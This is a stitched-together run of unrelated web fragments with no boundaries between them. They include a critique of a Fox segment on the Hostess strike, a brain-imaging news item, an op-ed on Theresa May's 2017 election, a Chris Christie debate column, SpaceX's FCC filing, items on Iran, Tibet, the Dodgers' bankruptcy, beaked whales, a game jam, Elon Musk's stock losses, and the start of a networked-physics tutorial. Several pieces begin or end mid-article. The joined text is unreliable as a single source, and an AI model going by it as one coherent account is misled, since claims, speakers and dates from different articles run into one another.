Kelly asked if the union members "believed the company when the company said we're telling you we're going to file for bankruptcy if you don't back off these demands, you few thousands are going to cost the jobs of 18 plus thousand if you don't back off this demand." She didn't mention that the company had filed for bankruptcy twice in the past eight years because of slow sales and high costs as well as worker benefits. She didn't mention that the unions had made concessions to management.
This provided Dobbs with his cue to further trash the baker's union as irresponsible. Kelly provided him with further ammunition with her question about whether unions are still relevant. Not surprisingly, he responded that labor actions aren't helping them despite Richard Trumka's "bluster" and President Obama's "boosting" of the unions. After Kelly quoted Trumka's contention that Hostess was the victim of "Bain style Wall Street vultures," Dobbs accused Trumka of "bloviating" and the striking union of "destroying the livelihood and economic freedom of fellow union workers." While he praised the Teamsters for being reasonable, he said that the baker's unions are "out of their minds."
Kelly then informed Dobbs that, "in honor of this segment," she dressed as a black and white cookie because of lighting that was making her arms look black. Her voice dripped with snark as she said that they "haven't quite worked out the lighting." Dobbs thought it was "elegant." She continued the snark about her "shadow dancing." (Wouldn't have wanted to be on Kelly's production crew after that segment!)
Not mentioned was the fact that Hostess executives got pay hikes of over 80% while workers were taking pay cuts. Not mentioned was the fact that the CEO got a 300% raise from 750,000 to $2,500,000. Not mentioned is the fact that 19 Hostess executives (including the aforementioned CEO) will get $1.75 million in bonuses as part of the bankruptcy.
The method is an enhancement of diffuse optical tomography (DOT), in which a device shines tiny points of red light at a subject's scalp and analyzes the light that bounces back. The red light reflects off red hemoglobin in the blood but does not interact as much with tissues of other colors, which allows researchers to recover an fMRI-like image of changing blood flow in the brain at work. For years researchers attempting to use DOT have been limited by the difficulty of packing many heavy light sources and detectors into the small area around the head. They also needed better techniques for analyzing the flood of data that the detectors collected.
Now researchers at Washington University in St. Louis and the University of Birmingham in England report they have solved those problems and made the first high-density DOT (HD-DOT) brain scans. The team first engineered a “double halo” structure to support the weight of 96 lights and 92 detectors, more than double the number in earlier arrays. The investigators also dealt with the computing challenges associated with that many lights—for example, they figured out how to filter out interference from blood flow in the scalp and other tissues. The team then used HD-DOT to successfully replicate fMRI studies of vision and language processing—a task impossible for other fMRI alternatives, such as functional near-infrared spectroscopy or electroencephalography, which do not cover a large enough swath of the brain or have sufficient resolution to pinpoint active brain areas. Finally, the team scanned the brains of people who have implanted electrodes for Parkinson's disease—something fMRI can never do because the machine generates electromagnetic waves that can destroy electronic devices such as pacemakers.
But when an election is called outside the normal electoral cycle by a government with a majority, the reason for calling that election deserves scrutiny and justification. On Tuesday, speaking outside No 10, Theresa May said the reason lay in divisions within parliament. “The country is coming together but Westminster is not.” She then set out the details of how opposition parties have been doing the job of opposing her since she became prime minister. This constitutional function she referred to as “political game-playing”, robbing Britain of “stability and certainty”.
General election 2017: MPs vote in favour of 8 June poll by margin of 509 – politics live Read more
It’s difficult to know where to start with this public rationale for an early election. But let’s begin with bald-faced hypocrisy. For months, May has been repeatedly and publicly denying that she will call an early election. Her justification has consistently been that it would add uncertainty and instability at a dangerous time for our country. It is one thing to U-turn by setting aside that argument, but quite another to cite the same reasons of stability and certainty as recommending precisely the opposite course of action a few days later.
And then there’s the annoying issue of the facts. Such is the constitutional might of the forces of evil arraigned against May’s government that 77 days ago she won a decisive vote in the House of Commons to trigger article 50 by 498 votes to 114. A majority of 384. The truth is that her majority Conservative government has not faced a single irreversible setback from Westminster relating to Brexit.
This election is nothing to do with overcoming unconstitutional parliamentary obstacles to Brexit. But it is about power, and it is about our constitution. To understand the early election, you only need to understand the three enemies that May has in her sights.
The first enemy is the Labour party. Let’s be honest: she smells blood. Labour is not in a good way: divided over next steps on Brexit, over our leadership, and suffering a British version of the philosophical malaise that plagues all centre-left parties since the 2007-8 financial crash. She wants to destroy Labour for a generation. Nothing wrong with that if you are a Tory, of course, but let’s not pretend the temptations of political opportunism are tinged with the nobility of the national interest.
The second enemy is her own party’s soft-Brexit rebels. The PM wants an election to rid her of the turbulent sceptics in her own party who both threaten the Brexit deal and ask awkward questions about it as it emerges, and express doubts about domestic policies that depart from the 2015 Tory manifesto (on grammar schools, industrial policy, national insurance contribution increases, dropping the 0.7% aid target). May could have been honest about this. She could have said in Downing Street that she wanted her own mandate for her own government. That would have been a courageous and unarguable rationale. But she didn’t.
But the third enemy is the most concerning of all: parliament. The prime minister has called an election to enable her to more effectively circumvent parliamentary scrutiny of Brexit. In the coming years we already face the prospect of a so-called great repeal bill – an unprecedented wholesale transfer of thousands of EU provisions into UK law by departmental fiat rather than through the normal legislative process. That in itself is an affront to a country with the cardinal constitutional principle of parliamentary sovereignty.
But after 9 June, things could get a whole lot worse. A May government would see the election result as a blank cheque for its yet-to-be-defined version of hard Brexit. In the coming years, our government will be conducting Brexit negotiations that involve the most crucial, complex and far-reaching set of issues imaginable.
What she is seeking in the election is a majority that can be presented, day after day, as a justification for branding those in parliament who scrutinise, question or query – let alone challenge or oppose – these details as “enemies of the people”.
Election will give UK 'strongest hand' in Brexit talks, says Theresa May Read more
That is what this election is about. And Labour needs to realise it. We may want the decision facing the country to be about alternative economic visions or contesting views of public services. They are crucial issues, but they won’t be the focus of this election. This is a Brexit election. Not a rerun of the referendum, but an election about what kind of parliament we want at the most important national moment in Britain’s history since 1945.
The case for Labour at this historical moment must be to protect our country not against the fact of Brexit, but the version of hard Brexit that May wants to pursue unencumbered by scrutiny. A Brexit that tosses our membership of the single market aside, making way for a low-wage, low-tax, low-regulation future that marries a vision of offshore Britain with dependence on foreign capital from wealthy authoritarian regimes around the world. A Brexit that will damage not just the poorest and most vulnerable among us, but British business and the union itself.
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My favorite moment during the GOP debate in Las Vegas came when Rand Paul cut my governor off at the kneecaps. Ad Policy
Not that that’s hard to do. When Chris Christie overplays his tell-it-like-it-is, Jersey-tough-guy shtick—encouraged lately by a slight bump he has raised in the New Hampshire polls—he tends to walk into traps of his own making.
CNN debate moderator Wolf Blitzer had asked him whether, if the United States imposed a no-fly zone over Syria and a Russian plane invaded it, he would “be prepared to shoot down that Russian plane and risk war with Russia.”
“Not only would I be prepared to do it, I would do it,” Christie said, without hesitation.
“Maybe because I’m from New Jersey, I just have this kind of plain-language hang-up. But I would make very clear [and tell Vladimir Putin], ‘Listen, Mr. President, there’s a no-fly zone in Syria; you fly in, it applies to you.’ And yes, we would shoot down the planes of Russian pilots if in fact they were stupid enough to think that this president was the same feckless weakling that the president we have in the Oval Office is right now.”
This was just too easy a set-up for Rand Paul. “Well, I think if you’re in favor of World War III, you have your candidate,” Paul said to a mixture of jeers and cheers. Noting that Hillary Clinton also advocates a no-fly zone, Paul wondered if we really want “someone who is so reckless as to stand on the stage and say, ‘Yes, I’m jumping up and down, I’m going to shoot down Russian planes.’ Russia already flies in that airspace. It may not be something we’re in love with the fact that they’re there, but they were invited by Iraq and by Syria to fly in that airspace.”
When we think about the judgment of someone who might want World War III, we might think about someone who would shut down a bridge because they don’t like their friends.
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Christie acted like he never heard the B-word, of course, sputtering on in his reply about how Obama and Clinton were truly reckless for inviting Russia into Syria in the first place (Russia built its military base in Syria in 1971, when Obama was 10 years old, but hey, the Guv is communicatin’ here).
And many in the Beltway media acted like they didn’t hear it, either. They’re eager for Christie to score a Comeback Kid moment in New Hampshire, especially since the conservative Manchester Union Leader endorsed him last month. The Washington Post’s Chris Cillizza and Jennifer Rubin both deemed Christie one of the debate’s big winners, with the latter writing that the governor “played the role of the experienced adult.”
Really, who he plays in these debates is Frank Underwood, looking straight into the camera like there’s no one else onstage to deliver a monologue through the tumbled fourth wall—Look into my eyes, America!—reaching through the media frame to deliver a slap of cold, hard truth. As when he said from the Vegas stage when Cruz and Rubio got into the legislative weeds about terrorism and immigration, “Listen, I want to talk to the audience at home for a second. If your eyes are glazing over like mine, this is what it’s like to be on the floor of the United States Senate. I mean, endless debates about how many angels on the head of a pin from people who’ve never had to make a consequential decision in an executive position.
“The fact is, for seven years, I had to make these decisions after 9/11, make a decision about how to proceed forward with an investigation or how to pull back, whether you use certain actionable intelligence or whether not to. And yet they continue to debate about this bill and in the subcommittee and what—nobody in America cares about that.”
Those last six words are actually true, and fit Christie’s own FU-like swagger. But then he goes and overdoes it—verbally shooting down the Russkies, pretending Bridgegate is behind him (why, his own lawyers exonerated him!), and mentioning five times that he was a former federal prosecutor whose career was devoted to fighting terrorism. Which is so not true, as Olivia Nuzzi chronicles in the Daily Beast, that it should taint every clause it touches (Christie in fact focused like a laser on corruption cases, even in the aftermath of 9/11, because bringing the New Jersey political class to heel was his first step toward higher office). Christie claimed at the debate that his office “thwarted” “two of the biggest terrorism cases in the world”—though those cases, as Nuzzi says, might be better characterized as “the results of entrapment.”
And for years the media has fallen for it. Christie was the made-for-the-Internet candidate, the YouTube vids of him yelling at the press or teachers or anyone who looked at him wrong going viral for their raw, bully quality. Christie in fact was always a risky bet, even before Bridgegate effectively ended his political career, because they don’t go for that kind of thuggish impoliteness down South.
Unless, of course, it comes from Donald Trump, who plays the tough guy a hundred times better. And Trump has something else—he’s likable. Christie has his charms, but mostly he’s angry and full of hot air. Christie would shoot down Russian planes (and decades of a hard-won US-Russian cold peace) in a heartbeat, but he’ll take days to shoot down Trump’s lie that “thousands and thousands” of Muslims in Jersey City celebrated 9/11. Then, when Trump struck back that Christie “totally knew” about closing the George Washington Bridge, Christie, as NJ.com put it, “curled up in Trump’s lap like a warm kitten.”
It must be maddening: Christie sees Trump say stupid, career-ending slurs, he sees him flick off one premature obit after another and come out stronger each time. “Why can’t I be like that?” Christie must wonder. Why don’t Bridgegate, New Jersey’s nine credit downgrades, the highest foreclosure rate in the country, the outrage of Hurricane Sandy victims who feel betrayed by the shenanigans with federal relief money, just make me stronger the way Trump’s excesses do?
​The biggest impediment to SpaceX's plan to create a worldwide, satellite broadband network might not be the sheer technological difficulty of putting 4,000 satellites into space. Instead, outdated international and domestic regulations on satellite communications could stand in the way, according to a ​new Federal Communications Commission filing by the company.
In January, SpaceX founder Elon Musk said the company plans to ​launch an array of internet-providing satellites that will orbit roughly 750 miles above the Earth, giving the company something to do with those reusable rockets it's been developing. But, in order to launch and operate any satellite, manufacturers have to reserve communications spectrum with either the FCC or another country's communications body, which then must deal with the International Telecommunication Union.
The spectrum-reserving process is also extremely important, from both a business and practical standpoint. Without dedicated spectrum, ground control systems can't contact satellites, which means you have a useless piece of junk hurtling through space at very fast speeds. But spectrum is also very crowded, meaning it's not handed out like candy.
If he's going to build an array of internet satellites, it appears he wants to do it very, very quickly
As you'd expect, it's a complex, expensive process. In fact, it's so complex and so expensive that many commercial space operators have been skipping the FCC altogether and getting their satellites registered overseas, say, in the Isle of Man, which has a far more straightforward licensing system. SpaceX's system of many, non-geostationary orbit (NGSO) satellites complicates the process further.
"The FCC is very good at what it does, but spectrum licensing is an extremely arcane part of the whole system," Christopher Stott, chairman of ManSat, a company that does licensing in the Isle of Man, told me. "All countries need to comply with the ITU rules, but countries' internal regulations are different, and it's become this kind of competitive environment. There are 100 countries active in orbital flying, and only 65 or so satellite companies."
There are no space launch facilities on the Isle of Man, but you can still license spectrum from them. Same with Tonga, and many other countries. The ease of licensing through a foreign country has been, on some levels, a boon for satellite companies. But SpaceX says it's so easy to get spectrum from some countries that it could ultimately create false competitors who are out only to impede SpaceX and other serious space companies.
"US-based satellite operators may prefer to operate as US licensees but are often forced to seek ITU filing and coordination through foreign administrations given the current FCC regulatory environment, which often places US networks at a disadvantage in the competitive international marketplace," SpaceX attorneys wrote in a filing last week with the FCC.
The ease of licensing in other countries "create[s] additional incentives for foreign administrations to pursue NGSO broadband satellite filing strategies that effectively block access to available spectrum and orbital resources," the company continued. "This, in turn, substantially undermines competition and innovation by significantly delaying or preventing bona fide NGSO broadband satellite system proponents from coordinating and ultimately deploying competitive systems."
Smallsat operator: Seen FCC fee schedule? Amateur sat: free. Experimental: $60. Operational sat: $430,000. Pressure to file as experimental. — Peter B. de Selding (@pbdes) March 3, 2015
For companies wanting to fly to space under an American "flag," or using American spectrum, there has been a workaround—many satellite manufacturers have pushed to get their satellites classified as "experimental" by the FCC, a designation that makes the licensing process much more straightforward and many orders of magnitude cheaper. Stott says the experimental distinction is, from his perspective, simply semantics.
An experimental license from the FCC also won't work for SpaceX, because experimental satellites technically aren't supposed to operate for longer than a year or two. SpaceX's satellites presumably would need to be in space for much longer in order to be useful.
"SpaceX will need to put up a couple satellites to do experiments, of course," Gus Hurwitz, a space law professor at the University of Nebraska, told me. "But it won't make sense for them to use experimental for the entire array. They'll need to reconfigure the constellation for the long haul."
So it's understandable that SpaceX wants the FCC to reform its satellite licensing regulations. The FCC realizes that its rules are currently too complex, and ​has been trying to lower both the financial and legal barriers to entry for commercial satellite operators. The FCC and SpaceX did not respond to my multiple requests for comment.
While it has asked the FCC to reassess regulations, SpaceX doesn't want the hoops companies need to jump through to be too low. The company's attorneys said the company worries that new regulations might make it too easy for companies to "abuse" the system in the United States, much like they do internationally.
"Spectrum warehousing can be extremely detrimental and unprepared, highly speculative, or disingenuous applicants must be prevented from pursuing 'paper satellites' (or 'paper constellations'), which can unjustly obstruct and delay qualified applicants from deploying their systems," SpaceX wrote.
See, SpaceX isn't the only company that wants to launch broadband satellites. And the company worries that a competitor will be able to launch, say, one satellite, "test" it, and then sit around while it works to procure funding or figure out technical problems, all the while sitting on very valuable spectrum.
"If a licensee is authorized for 10,000 satellites, the launch of a single satellite after three and a half years is not an indicator that the licensee can successfully deploy the other 9,999 satellites, or even a significant fraction thereof," the company wrote.
And this is where ​we get some insight into SpaceX's plans. The company proposes that, within six years of being granted a license, any satellite broadband-providing company should be required to launch 75 percent of the total satellites they planned for. So, if SpaceX gets approval for 4,000 satellites, which is a number it's bandied about before, it believes it'll be able to launch 3,000 of them within six years of getting approval from the FCC.
That's a Herculean task. The company might be able to launch more than one satellite at a time—we know virtually nothing about what its satellites will look like, but its various rockets should be able to carry several—but Musk is still looking at a lot of launches, perhaps more than one a week.
The BBC captured video footage of the Tuesday arrests. The gathering of protesters were reportedly in support of the nine Tibetan monks and one nun who set themselves on fire this year in protest against Chinese rule. Five of the protests by self-immolation were fatal.
GlobalPost: Tenth Tibetan monk sets himself on fire, activist group say
"Self-immolation is pretty much unheard of in Tibetan society...Now this year alone, seven monks have committed acts of self-immolation in what are clearly very, very political acts directed at the Chinese government," Tenzin Dorjee, executive director of New York City's Students for a Free Tibet, told GlobalPost in an interview last month.
China has put heavy pressure on Nepal over the Tibetans to control the protests, the AFP reports.
Speaking from a podium marked "Down with USA", he claimed the papers implicated the US government in ties to "known terror groups".
More from GlobalPost: Are the US and Israel considering a strike on Iran?
Jalili accused Washington of funding and directing terrorist rings in order to advance its own agenda in the Middle East.
According to Press TV, Jalili said:
"Iran has irrefutable evidence that exposes the official involvement of the United States government in anti-Iran planning and the dispatching of elements to conduct acts of sabotage and terror in Iran and other regional countries."
The Iranian government will formally submit the supposed evidence to UN Secretary General Ban Ki-moon, state news agency Fars reported. More documents would follow, he said.
Iran's ambassador to the UN will ask the international body to seek the prosecution of the US administration, Jalili claimed.
Tehran also reserves the right to pursue Washington in both Iranian and international courts of law, he said.
Jalili was speaking at a rally to commemorate the day, 32 years ago, that student supporters of Iran's Islamic revolution took 52 Americans hostage in the US embassy in Tehran.
Anniversary events took place all over Iran, according to Press TV, with participants also taking the occasion to celebrate the Arab Spring and Occupy Wall Street:
This year, the main agenda of Iran's Student Day rallies is demonstrating solidarity with the popular Islamic Awakening uprisings across the Middle East and North Africa as well as the global anti-capitalism movement of “Occupy Wall Street.”
Tehran denies recent US charges that it was involved in an alleged assassination plot against the Saudi ambassador to Washington.
Jalili argued Thursday that the US allegations were a retaliation for Iran's actions against "US state-sponsored terrorism".
The Iranian government has stepped up it anti-US rhetoric in anticipation of the publication of a UN report on its nuclear program, Reuters noted. The International Atomic Energy Agency's report, due next week, is expected to say that Iran is seeking to develop nuclear weapons.
Selig issued a statement condemning Monday's development.
"The Commissioner's Office has spent the better part of one year working with Mr. McCourt and his representatives on the financial situation of the Los Angeles Dodgers, which was caused by Mr. McCourt's excessive debt and his diversion of club assets for his own personal needs. We have consistently communicated to Mr. McCourt that any potential solution to his problems that contemplates mortgaging the future of the Dodgers franchise to the long-term detriment of the club, its loyal fans and the game of Baseball would not be acceptable.
"My goal from the outset has been to ensure that the Dodgers are being operated properly now and will be guided appropriately in the future for their millions of fans. To date, the ideas and proposals that I have been asked to consider have not been consistent with the best interests of Baseball. The action taken today by Mr. McCourt does nothing but inflict further harm to this historic franchise."
Legal observers expect MLB to contest McCourt's request for filing bankruptcy, arguing the dispute should remain within the confines of baseball and the league's constitution allows Selig to take control of a team that seeks Chapter 11 protection.
The main issue is whether "the bankruptcy court maintains control of the proceedings or acquiesce to baseball," said Edward Ristaino, who chairs the sports practice at the law firm Akerman Senterfitt. "The courts recognize the special interests of the commissioner and give him great deal of deference. My sense is that won't happen very quickly at all."
In court documents, team vice chairman Jeff Ingram cited a significant drop in attendance, contributing about 10 percent of Dodger revenues to the league's sharing program last year and paying about $22 million in deferred compensation as reasons for filing bankruptcy.
"To date, LAD has remained current in its obligations," Ingram wrote. "However, LAD is now on the verge of running out of cash, the results of a perfect storm of events."
McCourt has taken out loans to stay afloat this season but his mounting financial problems were expected to balloon this week, when he owed tens of millions of dollars to meet payroll and other obligations.
About $20 million is slated for current and deferred compensation by Thursday, while more than $18 million is required as a reserve to prefund money to be paid to players in 2012 under terms of the collective bargaining agreement, court documents show.
The bankruptcy filing lists assets of up to $1 billion and debts
up to $500 million. The Dodgers are obligated to pay $92.5 million
in guaranteed player contracts, not including signing bonuses, and
the team has nearly 300 full-time employees.
The bankruptcy filing also noted a $67 million loan taken out against the parking lots at Dodger Stadium was set to mature on Thursday. It was expected McCourt was going to refinance the loan.
"He's clearly running very low on options right now," said David Carter, executive director of USC Sports Business Institute. "What seems to be the case is a high-stakes chess game between Frank McCourt and MLB, and he's running out of pieces. This is one of the uglier weeks in Dodger history."
Among the 40 largest unsecured claims, totaling about $75 million, are former Dodgers slugger Manny Ramirez at nearly $21 million; Andruw Jones at $11 million; pitcher Hiroki Kuroda at $4.4 million; and the Chicago White Sox, which share a spring training facility with the Dodgers in Arizona, at $3.5 million. Longtime Dodger announcer Vin Scully is owed more than $150,000 as part of his contract, court documents show.
Dodgers officials said they reached out to numerous banks and investors and while several parties expressed interest in providing financing, they received only one commitment from Highbridge Principal Strategies. If approved by a judge, the financing would come in two chunks from the investment firm -- $60 million up front with the remainder being paid at a later date.
Tripp Kyle, a spokesman for the firm, declined to comment about the reasons the company decided to lend McCourt the money.
According to Bloomberg, the Dodgers must pay a hefty 10 percent interest rate plus fees on the loan, and Highbridge receives first claim on the Dodgers assets.
The Players Association has promised all Dodgers players, along with former players who have deferred money due, that they'll be paid Thursday as scheduled. In an email to all affected players, union chief Michael Weiner wrote Monday that the Players Association "has been assured, as recently as (Monday) afternoon, that all contractual obligations of the Dodgers to present and former players will be honored."
In the email, a copy of which was obtained by ESPN.com, Weiner also told players that the union had "retained experienced bankruptcy counsel to ensure the players' interests are fully protected throughout this legal process." Weiner said the union would have attorneys on hand for the first day of courtroom proceedings Tuesday.
Finally, Weiner said in the email that, "as we did with last year's Texas Rangers bankruptcy, we will do all we can to ensure that these proceedings don't interfere with the Dodgers' ability to compete this year.
Sightings of True’s beaked whales are so rare that even the most devoted whale expert can go an entire career without ever seeing one in the wild. Researchers working near the Azores are now the first to ever capture underwater footage of these aquatic creatures in their natural habitat.
The new footage, captured by a research team from the Centre for Research into Ecological and Environmental Modelling at the University of St. Andrew’s in Scotland, shows two adult True beaked whales swimming with a calf near the Azores Islands in the North Atlantic.
In an accompanying paper published in PeerJ, the researchers offer new insights into this poorly-studied aquatic mammal. In addition to unprecedented footage, the researchers recorded a new color pattern for these deep water whales, while also establishing geographical boundaries in the North Atlantic. These insights will allow marine biologists to better monitor the status of individuals and work to conserve the species.
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As testament to their elusive nature, three new species of beaked whales have been discovered in the past two decades alone, bringing the total number of known beaked whale species to 22. Sightings are rare, and much of what’s known about these creatures is derived from observations of decomposing bodies found on shore and breaching events.
Beaked whale behavior explains why we so rarely see these creatures. They tend to live far offshore in deep waters, spending 92 percent of their time underwater. Among whales, they are the masters of the deep, feeding at depths reaching 9,800 feet (3,000 meters) and staying underwater for as long as two hours. These whales use their specialized beaks to suck up squid, fish, and crustaceans. Following a big dive, they return to the surface and perform short, shallow dives at brief intervals. Unlike some whales and dolphins, they’re not attracted to boats.
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For the new study, a research team led by marine biologist Natacha Aguilar de Soto performed a genetic analysis on two whales that were found a few years ago, one that washed ashore in El Hierro, Canary Islands in 2012, and one found floating dead near Faial, the Azores, in 2004. The purpose of the molecular analysis was to confirm the identity of the specimens as True’s beaked whales; even beaked whale experts have a hard time distinguishing one species from another.
In conjunction, several observations of True’s beaked whales (in addition to the new footage) in deep waters off the Azores and the Canary islands suggests these archipelagos may be prime locations for studying the enigmatic whales. Using data from previous research, the scientists were able to compile a map showing their likely geographic boundaries.
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Looking at the footage, the researchers were also able discern new color patterns on True’s beaked whale. The whale features a discernible white splotch that extends from the top“melon” portion of its head back to its blowhole above its eyes. “This coloration contrasts with previous descriptions for the species and it may be rare,” write the researchers in their study, “but it exemplifies the variability of the colouration of True’s beaked whales in the North Atlantic, further confirmed here by live sightings data.” These new color patterns should make it easier for marine biologists to identify these whales during future expeditions.
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It’s hard to believe that scientists are just now capturing the first footage of large mammalian species. But as this study shows, our oceans still have many secrets to tell.
The theme for the Jam is Good Things Come in Threes. That could be anything, three little pigs, the three wise men, three days to save the world from total nuclear annihilation... It's your interpretation, so give us something cool!
We've not put many restrictions on the Jam, but the main rules are:
All games must be made in Construct 3
Your game must be based on material you have rights to, for example you can't use Mario sprites.
Your game must not contain unlicensed audio / music.
You may enter as a team, but we do only have one license as a prize, so you'll need to decide who gets that.
For submissions you'll need to register an account on Newgrounds and then submit it here. From there you can upload a ZIP file containing your game, and tag it with C3Jam so it will be easy to find! Nice and simple.
The top three games will win their creators a year's personal license for Construct 3 and a one year honorary Supporter status on Newgrounds. The overall best game may also be featured on the home page of Newgrounds! You can read Newgrounds announcement here.
Use all of Construct 3's features
For the duration of the gamejam, you can use all of Construct 3's features! To re-cap, this includes things like:
Our mobile app build system is nearly ready, but unfortunately we've not quite managed to get it running in time for this jam. We're working hard to make it available very shortly, and it will be open for use by everyone during the jam as well. We'll let you know as soon as it's available!
As much as nonviolence was an essential feature of big parts of the civil rights movement, many blacks in the South, including many of the most prominent movement leaders, protected themselves with firearms, in recognition of what a violent and vindictive time they were operating in. Martin Luther King Jr. kept a gun at home and sometimes relied on neighbors to protect his home with firearms. Medgar Evers traveled with a rifle in his car and kept a pistol beside himself on the front seat; Evers later ended up being murdered. Almost impossible to imagine in today’s climate of overprotective parenting, the civil rights movement even saw parents willing to put their children in the line of fire. The 1963 Birmingham Children’s March paraded large numbers of African American children in front of potentially hostile armed police, police dogs, and also angry local, racist crowds. The worst-case scenario of violence against the children did not come about, but even the relatively calm course of the demonstration makes for harrowing reading today. This is from one newspaper report of the time: “The teen-agers, most of them 13 to 16, kept moving. Then the water hit them. Cowering first with hands over their heads, then on their knees or clinging together with their arms around each other, they tried to hold their ground.” It’s hard to imagine that being considered an acceptable course of action—from the marchers as well as the police—for the last few decades. Fortunately, at the time the police did hesitate to turn the fire hoses on the six-year-olds who participated in the march. And many African Americans were upset with their leaders for allowing it to proceed in this manner, yet it did, which is a reflection of how far that time was from the current safety-first mentality.
One of the major claims in the book is that history is more cyclical than we had thought during the 1948-2009 period, and that this is a major source of systematic risk in the world today. Another major claim is that individual attempts to make one’s lot in life safer and more secure actually may exacerbate broader risks at the macro level.
Again, if you pre-order the book in the next two weeks, I will send along to you a copy of my Stubborn Attachments, the book in my life I have worked on longest, on the philosophic foundations of a free society. Just email me and I’ll be back in touch.
"Bryzgalov is a quality veteran that adds depth to the goaltending position for our team," Wild general manager Chuck Fletcher said in a statement.
Bryzgalov began the season without a contract but joined the Oilers and is 5-8-5 in 20 games with a .908 save percentage and a 3.01 goals-against average. His nine-year, $51 million contract was bought out by the Philadelphia Flyers two seasons after the 2012-13 season ended.
Minnesota reportedly was interested in adding a veteran goalie to pair with rookie Darcy Kuemper, who has the No. 1 role with starter Josh Harding out of action. Martin Brodeur of the New Jersey Devils and Jaroslav Halak of the Buffalo Sabres had been linked to the Wild in recent days.
Harding was one of the best stories of the first half of the 2013-14 season, producing Vezina Trophy-caliber numbers, but he hasn't played since Dec. 31. He was diagnosed with multiple sclerosis in 2012. Former starter Niklas Backstrom is shut down for the foreseeable future, most likely the rest of the season, with an abdominal injury
It's been an ugly stock market for most investors. But famed inventor and investor Elon Musk is having an exceptionally bad year - not just on one investment - but on two.
Musk's holdings in electric car maker Tesla (TSLA) and solar panel installer SolarCity (SCTY) are down a staggering $3.5 billion since the end of last year on Dec. 31, 2015. Musk is the largest single owner of both companies, which together have handed all investors total market value losses of $15.7 billion this year.
Musk got some relief Wednesday. Tesla shares jumped 10% in early afterhours trading, after it gave fourth quarter results and said it will turn a profit this year. But the damage is already done - even if the 10% gain sticks, Musk's loss on the two stocks this year would be $3 billion.
Both of Musk's firms have lost favor with investors this year, as the market punishes companies that are thin on profit but high on valuation. Falling oil prices have also taken out the urgency and enthusiasm over alternative energy plays.
Musk is now down $682 million in his shares of SolarCity this year. The stock plunged 29% Wednesday to $18.63 after the company that installs and leases solar panels told investors late Tuesday it will likely lose up to $2.65 a share in the current quarter. That's deeper than the $2.49 a share loss investors were expecting, according to data from S&P Global Market Intelligence.
The negative outlook completely overshadowed the fact that during the fourth quarter the company reported a better-than-expected quarterly loss of an adjusted $2.37 a share. Shares of SolarCity were already down 48% this year - before Wednesday's drop.
Next, all eyes are on Musk's big investment: Tesla.
Musk's massive $4.2 billion stake in Tesla makes his $404 million position in SolarCity look minor.
Shares of Tesla are down 40% this year through Wednesday's close - serving up a nearly $12 billion loss to investors - of which Musk has personally eaten $2.8 billion. After the market closed Wednesday, Tesla reported a quarterly loss of 87 cents a share on an adjusted basis. Investors thought the company would turn a profit, reversing four-straight quarterly losses, says S&P Global Market Intelligence.
SolarCity shares have been plunging this year. (Photo: USA TODAY)
His stakes in SolarCity and Tesla are still valued at $4.6 billion. That doesn't even include Musk's stake in space flight pioneer SpaceX, which is privately held.
Perhaps Tesla's profits can turn on the turbo later this year - as it said late Wednesday it would - and blow away the negative investor sentiment. But so far, investors who have gotten hammered this year betting on Musk - including Musk himself.
ELON MUSK'S ROUGH YEAR
Company, symbol, % ch. YTD, Musk's paper loss
SolarCity, SCTY, -63%, $681,853,056
Tesla, TSLA, -40%, $2,778,478,267
Source: S&P Global Market Intelligence, USA TODAY
Follow Matt Krantz on Twitter @mattkrantz
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The security measures, in force since attacks in Paris that killed 130 people in November 2015, are now expected to be approved by the Senate on Thursday. It is the fifth extension of the state of emergency, which gives police extended powers of search and arrest.
The overnight vote in the National Assembly passed by 288 to 32, with only Left Front lawmakers, protesting ecologists and a handful of centre-right Republicans voting against.
The extension, which will give the country its longest uninterrupted state of emergency since the Algerian War in the 1960s, will span the two-round presidential election in April-May and June parliamentary polls.
The government has cited a heightened risk of jihadist attacks coinciding with the polls.
Ahead of the vote new Interior Minister Bruno Le Roux stressed that France faced "an extremely high" risk of a terrorist attack.
Since the last extension -- shortly after the Bastille Day attack in July when a Tunisian jihadist rammed a truck through a crowd in Nice, killing 86 people -- he said "we have foiled no fewer than 13 attacks, involving about 30 individuals".
With numerous public meetings and campaign rallies expected in the coming months, Le Roux said "the intense electoral period we are entering increases the risk of further terrorist acts", echoing weekend comments by his predecessor, newly-appointed Prime Minister Bernard Cazeneuve.
The extension until July 15 would also allow a new president -- incumbent Francois Hollande is not seeking re-election -- to assess security and prolong the state of emergency if necessary.
Hollande's tenure has been marred by the three major Islamist-inspired terror attacks -- against Charlie Hebdo magazine in January 2015, then in Paris the following November and the Bastille Day attack in Nice.
Cazeneuve, the former interior minister who coordinated the introduction of the state of emergency, took over as prime minister on Tuesday after Manuel Valls stepped down to seek the Socialist nomination for the presidency.
Hi, I’m Glenn Fiedler and welcome to Networked Physics.
In the previous article we discussed techniques for compressing snapshots.
In this article we round out our discussion of networked physics strategies with state synchronization, the third and final strategy in this article series.
State Synchronization
What is state synchronization? The basic idea is that, somewhat like deterministic lockstep, we run the simulation on both sides but, unlike deterministic lockstep, we don’t just send input, we send both input and state.
This gives state synchronization interesting properties. Because we send state, we don’t need perfect determinism to stay in sync, and because the simulation runs on both sides, objects continue moving forward between updates.
This lets us approach state synchronization differently to snapshot interpolation. Instead of sending state updates for every object in each packet, we can now send updates for only a few, and if we’re smart about how we select the objects for each packet, we can save bandwidth by concentrating updates on the most important objects.
So what’s the catch? State synchronization is an approximate and lossy synchronization strategy. In practice, this means you’ll spend a lot of time tracking down sources of extrapolation divergence and pops. But other than that, it’s a quick and easy strategy to get started with.
Implementation
Here’s the state sent over the network per-object:
struct StateUpdate { int index; vec3f position; quat4f orientation; vec3f linear_velocity; vec3f angular_velocity; };
Unlike snapshot interpolation, we’re not just sending visual quantities like position and orientation, we’re also sending non-visual state such as linear and angular velocity. Why is this?
The reason is that state synchronization runs the simulation on both sides, so it’s always extrapolating from the last state update applied to each object. If linear and angular velocity aren’t synchronized, this extrapolation is done with incorrect velocities, leading to pops when objects are updated.
While we must send the velocities, there’s no point wasting bandwidth sending (0,0,0) over and over while an object is at rest. We can fix this with a trivial optimization, like so:
